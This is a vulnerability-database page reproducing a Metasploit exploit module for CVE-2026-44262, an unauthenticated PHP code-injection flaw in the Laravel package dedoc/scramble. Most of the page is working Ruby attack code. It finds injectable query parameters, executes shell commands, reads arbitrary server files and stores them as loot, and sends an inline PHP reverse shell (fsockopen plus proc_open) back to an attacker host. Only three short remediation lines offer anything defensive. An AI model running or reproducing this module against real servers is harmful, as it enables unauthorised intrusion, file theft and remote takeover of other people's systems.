Lucene search
K

๐Ÿ“„ dedoc/scramble 0.13.2 Remote Code Execution

๐Ÿ—“๏ธย 17 Jun 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 14ย Views

This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution vulnerability in the Laravel-based tool dedoc/scramble.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-44262
7 May 202608:52
โ€“githubexploit
ATTACKERKB
CVE-2026-44262
12 May 202620:56
โ€“attackerkb
Circl
CVE-2026-44262
7 May 202611:00
โ€“circl
CNNVD
Scramble ไปฃ็ ๆณจๅ…ฅๆผๆดž
12 May 202600:00
โ€“cnnvd
CVE
CVE-2026-44262
12 May 202620:56
โ€“cve
Cvelist
CVE-2026-44262 Scramble: Remote code execution via evaluation of user-controlled input in validation rules
12 May 202620:56
โ€“cvelist
Exploit DB
scramble - Remote Code Execution
27 May 202600:00
โ€“exploitdb
Github Security Blog
Scramble vulnerable to remote code execution via evaluation of user-controlled input in validation rules
6 May 202619:54
โ€“github
Nuclei
Scramble Laravel - Remote Code Execution
17 Jun 202605:14
โ€“nuclei
NVD
CVE-2026-44262
12 May 202622:16
โ€“nvd
Rows per page
==================================================================================================================================
    | # Title     : dedoc/scramble 0.13.2 Unauthenticated Remote Code Execution Exploit Module                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://laravel.com                                                                                              |
    ==================================================================================================================================
    
    [+] Summary    :  This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution (RCE) vulnerability in the Laravel-based tool dedoc/scramble.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'dedoc/scramble Unauthenticated Remote Code Execution',
            'Description' => %q{
              CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability
              in dedoc/scramble, a Laravel API documentation generator.
    
              The vulnerability exists in NodeRulesEvaluator::doEvaluateExpression()
              which calls extract($variables) before eval("return $code;"). When a
              controller assigns `$request->input()` to a variable named `$code` and
              uses it as a validation rule, Scramble tracks that variable and passes
              it into the eval scope. An attacker can overwrite $code with arbitrary
              PHP by supplying a crafted query parameter to `/docs/api.json`.
    
              This module provides detection and exploitation capabilities including
              command execution, file read, and reverse shell.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-44262'],
              ['URL', 'https://github.com/joshuavanderpoll/CVE-2026-44262'],
              ['URL', 'https://github.com/advisories/GHSA-4rm2-28vj-fj39'],
              ['URL', 'https://scramble.dedoc.co']
            ],
            'DisclosureDate' => '2026-05-07',
            'License' => MSF_LICENSE,
            'Platform' => ['php', 'unix', 'linux', 'win'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
                }
              ]
            ],
            'DefaultTarget' => 1,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for docs', '/docs/api']),
          OptString.new('DOCS_PATH', [false, 'Full path to api.json (auto-detected if not set)']),
          OptString.new('PARAM', [false, 'Vulnerable parameter name (auto-detected if not set)']),
          OptInt.new('SLEEP_SECONDS', [false, 'Sleep seconds for timing detection', 4]),
          OptEnum.new('ACTION', [true, 'Action to perform', 'DETECT', ['DETECT', 'EXECUTE', 'READ_FILE', 'SHELL']]),
          OptString.new('READ_FILE', [false, 'File to read (when ACTION=READ_FILE)']),
          OptBool.new('FORCE_OS', [false, 'Force OS detection bypass', false])
        ])
      end
    
      def docs_api_url
        if datastore['DOCS_PATH'] && !datastore['DOCS_PATH'].empty?
          path = datastore['DOCS_PATH']
        else
          base_path = datastore['TARGETURI'].chomp('.json')
          path = base_path + '.json'
        end
        normalize_uri(target_uri.path, path)
      end
    
      def docs_ui_url
        base_path = datastore['TARGETURI'].chomp('.json')
        normalize_uri(target_uri.path, base_path)
      end
    
      def get_openapi_spec
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => docs_api_url
        )
        
        if res && res.code == 200
          begin
            return JSON.parse(res.body)
          rescue JSON::ParserError
            return nil
          end
        end
        nil
      end
    
      def find_vulnerable_parameters(spec)
        vulnerable = []
        
        return vulnerable unless spec && spec['paths']
        rule_pattern = /^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)/i
        
        spec['paths'].each do |path, methods|
          methods.each do |method, details|
            next unless details['parameters']
            
            details['parameters'].each do |param|
              next unless param['in'] == 'query'
              
              schema = param['schema'] || {}
              default = schema['default'].to_s
              
              if default =~ rule_pattern || default.include?('|')
                vulnerable << {
                  'path' => path,
                  'param' => param['name'],
                  'method' => method.upcase
                }
              end
            end
          end
        end
        
        vulnerable
      end
    
      def get_server_info
        res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
        
        info = {}
        if res
          info['server'] = res.headers['Server'] if res.headers['Server']
          info['x_powered_by'] = res.headers['X-Powered-By'] if res.headers['X-Powered-By']
    
          if res.body && res.body.include?('laravel')
            version_match = res.body.match(/Laravel v?(\d+\.\d+\.\d+)/i)
            info['laravel_version'] = version_match[1] if version_match
          end
        end
        
        info
      end
    
      def detect_os(param)
        print_status('Detecting target operating system...')
    
        payload = 'print(php_uname("s"))'
        output = execute_php_code(param, payload)
        
        if output
          os_lower = output.strip.downcase
          if os_lower.include?('windows')
            @target_os = 'windows'
          elsif os_lower.include?('linux')
            @target_os = 'linux'
          elsif os_lower.include?('darwin')
            @target_os = 'darwin'
          else
            @target_os = os_lower
          end
          print_good("Detected OS: #{@target_os}")
        else
          @target_os = 'unknown'
          print_warning('Could not detect OS, assuming Unix-like')
        end
      end
    
      def is_windows?
        @target_os == 'windows'
      end
    
      def build_attack_url(param, payload)
        query = { param => payload }
        "#{docs_api_url}?#{query.to_query}"
      end
    
      def send_payload(param, payload, timeout = nil)
        url = build_attack_url(param, payload)
        
        opts = { 'method' => 'GET', 'uri' => url }
        opts['timeout'] = timeout if timeout
        
        send_request_cgi(opts)
      end
    
      def capture_output(param, payload)
        res = send_payload(param, payload)
        
        if res && res.body
          # Output appears before JSON start
          json_start = res.body.index('{')
          if json_start && json_start > 0
            return res.body[0...json_start].strip
          elsif json_start == 0
            return nil
          else
            return res.body.strip
          end
        end
        nil
      end
    
      def execute_php_code(param, code)
    
        wrapped = "(function(){ #{code} })()"
        capture_output(param, wrapped)
      end
    
      def execute_command(param, cmd)
        cmd_with_stderr = cmd.include?('2>') ? cmd : "#{cmd} 2>&1"
        execute_php_code(param, "print(shell_exec(#{cmd_with_stderr.inspect}))")
      end
    
      def read_file(param, filepath)
        execute_php_code(param, "print(file_get_contents(#{filepath.inspect}))")
      end
    
      def timing_probe(param, sleep_seconds)
        print_status("Timing probe with sleep(#{sleep_seconds}) via param '#{param}'")
    
        start = Time.now
        send_payload(param, '')
        baseline = Time.now - start
        print_status("Baseline: #{'%.2f' % baseline}s")
    
        start = Time.now
        send_payload(param, "sleep(#{sleep_seconds})", sleep_seconds + datastore['WfsDelay'])
        elapsed = Time.now - start
        delay = elapsed - baseline
        
        print_status("Attack response: #{'%.2f' % elapsed}s (delay: #{'%+.2f' % delay}s)")
        
        triggered = delay >= (sleep_seconds * 0.75)
        
        if triggered
          print_good("VULNERABLE โ€” response delayed ~#{sleep_seconds}s")
        else
          print_error("Not triggered (no significant delay)")
        end
        
        triggered
      end
    
      def exec_probe(param)
        print_status("Command execution probe via param '#{param}'")
        
        cmd = is_windows? ? 'whoami' : 'id 2>&1'
        output = execute_command(param, cmd)
        
        if output && !output.empty?
          print_good("VULNERABLE โ€” command output captured:")
          print_line(output)
          return true
        else
          print_error("No command output in response")
          return false
        end
      end
    
      def detect_vulnerability
        print_status("Checking for vulnerable Scramble instance at #{docs_api_url}")
    
        res = send_request_cgi('method' => 'GET', 'uri' => docs_api_url)
        
        unless res && res.code == 200
          print_error("Docs API not accessible (HTTP #{res&.code || 'no response'})")
          return false
        end
        
        print_good("Docs API accessible")
    
        spec = get_openapi_spec
        unless spec
          print_error("Failed to parse OpenAPI spec")
          return false
        end
    
        if spec['info']
          print_status("API Title: #{spec['info']['title']}") if spec['info']['title']
          print_status("API Version: #{spec['info']['version']}") if spec['info']['version']
        end
    
        @vulnerable_params = find_vulnerable_parameters(spec)
        
        if @vulnerable_params.empty?
          print_error("No potentially vulnerable parameters found in spec")
          return false
        end
        
        print_good("Found #{@vulnerable_params.length} potentially vulnerable parameter(s):")
        @vulnerable_params.each do |vp|
          print_status("  #{vp['method']} #{vp['path']} โ†’ param '#{vp['param']}'")
        end
        
        true
      end
    
      def exploit_command(param, cmd)
        print_status("Executing command: #{cmd}")
        output = execute_command(param, cmd)
        
        if output && !output.empty?
          print_good("Command output:")
          print_line(output)
          return true
        else
          print_error("No output received")
          return false
        end
      end
    
      def exploit_read_file(param, filepath)
        print_status("Reading file: #{filepath}")
        content = read_file(param, filepath)
        
        if content && !content.empty?
          print_good("File contents:")
          print_line(content)
    
          store_loot(
            'scramble.file',
            'text/plain',
            datastore['RHOST'],
            content,
            File.basename(filepath),
            "File read from target: #{filepath}"
          )
          return true
        else
          print_error("Failed to read file (may not exist or not readable)")
          return false
        end
      end
    
      def exploit_reverse_shell(param, lhost, lport)
        print_status("Preparing reverse shell to #{lhost}:#{lport}")
        print_status("Ensure listener is running: nc -lvnp #{lport}")
        
        shell_bin = is_windows? ? 'cmd.exe' : '/bin/sh'
    
        php_payload = <<~PHP
          (function(){
            $s=@fsockopen('#{lhost}',#{lport},$e,$m,30);
            if(!$s)return;
            $p=proc_open('#{shell_bin}',array(0=>$s,1=>$s,2=>$s),$pipes);
            if($p)proc_close($p);
            fclose($s);
          })()
        PHP
        
        print_status("Sending reverse shell payload...")
    
        send_payload(param, php_payload, 3600)
        
        print_good("Reverse shell payload sent. Check your listener.")
        true
      end
    
      def exploit_php_code(param, code)
        print_status("Executing PHP code: #{code}")
        output = execute_php_code(param, code)
        
        if output && !output.empty?
          print_good("PHP code output:")
          print_line(output)
          return true
        else
          print_warning("No output from PHP code")
          return true  
        end
      end
    
      def check
        print_status("CVE-2026-44262 - dedoc/scramble RCE Check")
    
        unless detect_vulnerability
          return CheckCode::Safe("No vulnerable parameters found")
        end
    
        param = @vulnerable_params.first['param']
        
        if timing_probe(param, datastore['SLEEP_SECONDS'])
          return CheckCode::Vulnerable("Timing probe confirmed RCE")
        else
          return CheckCode::Appears("Potentially vulnerable, but timing probe failed")
        end
      end
    
      def exploit
        print_status("CVE-2026-44262 - dedoc/scramble RCE Exploit")
    
        unless detect_vulnerability
          fail_with(Failure::NotFound, "No vulnerable parameters found")
        end
        
        param = @vulnerable_params.first['param']
        print_good("Using vulnerable parameter: #{param}")
    
        unless datastore['FORCE_OS']
          detect_os(param)
        end
    
        case datastore['ACTION']
        when 'EXECUTE'
          cmd = datastore['PAYLOAD'] ? payload.encoded : "id"
          exploit_command(param, cmd)
          
        when 'READ_FILE'
          filepath = datastore['READ_FILE']
          if filepath.nil? || filepath.empty?
            fail_with(Failure::BadConfig, "READ_FILE path required for ACTION=READ_FILE")
          end
          exploit_read_file(param, filepath)
          
        when 'SHELL'
          lhost = datastore['LHOST']
          lport = datastore['LPORT']
          
          if lhost.nil? || lport.nil?
            fail_with(Failure::BadConfig, "LHOST and LPORT required for reverse shell")
          end
          exploit_reverse_shell(param, lhost, lport)
          
        else 
          print_status("\n[*] Running timing detection...")
          timing_result = timing_probe(param, datastore['SLEEP_SECONDS'])
          
          print_status("\n[*] Running command execution probe...")
          exec_result = exec_probe(param)
          
          print_status("\n" + "=" * 65)
          print_status("SUMMARY")
          print_status("=" * 65)
          print_status("Target:       #{peer}")
          print_status("Vuln param:   #{param}")
          print_status("Timing probe: #{timing_result ? 'TRIGGERED' : 'clean'}")
          print_status("Exec probe:   #{exec_result ? 'TRIGGERED' : 'clean'}")
          
          if timing_result || exec_result
            print_good("\n*** VULNERABLE โ€” RCE confirmed ***")
    
            print_status("\nRemediation:")
            print_status("  1. Update Scramble: composer require dedoc/scramble:^0.13.22")
            print_status("  2. Restrict docs access with middleware")
            print_status("  3. Disable docs in production")
          else
            print_status("\nNot exploitable via this vector")
          end
          print_status("=" * 65)
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jun 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.4
EPSS0.03715
SSVC
14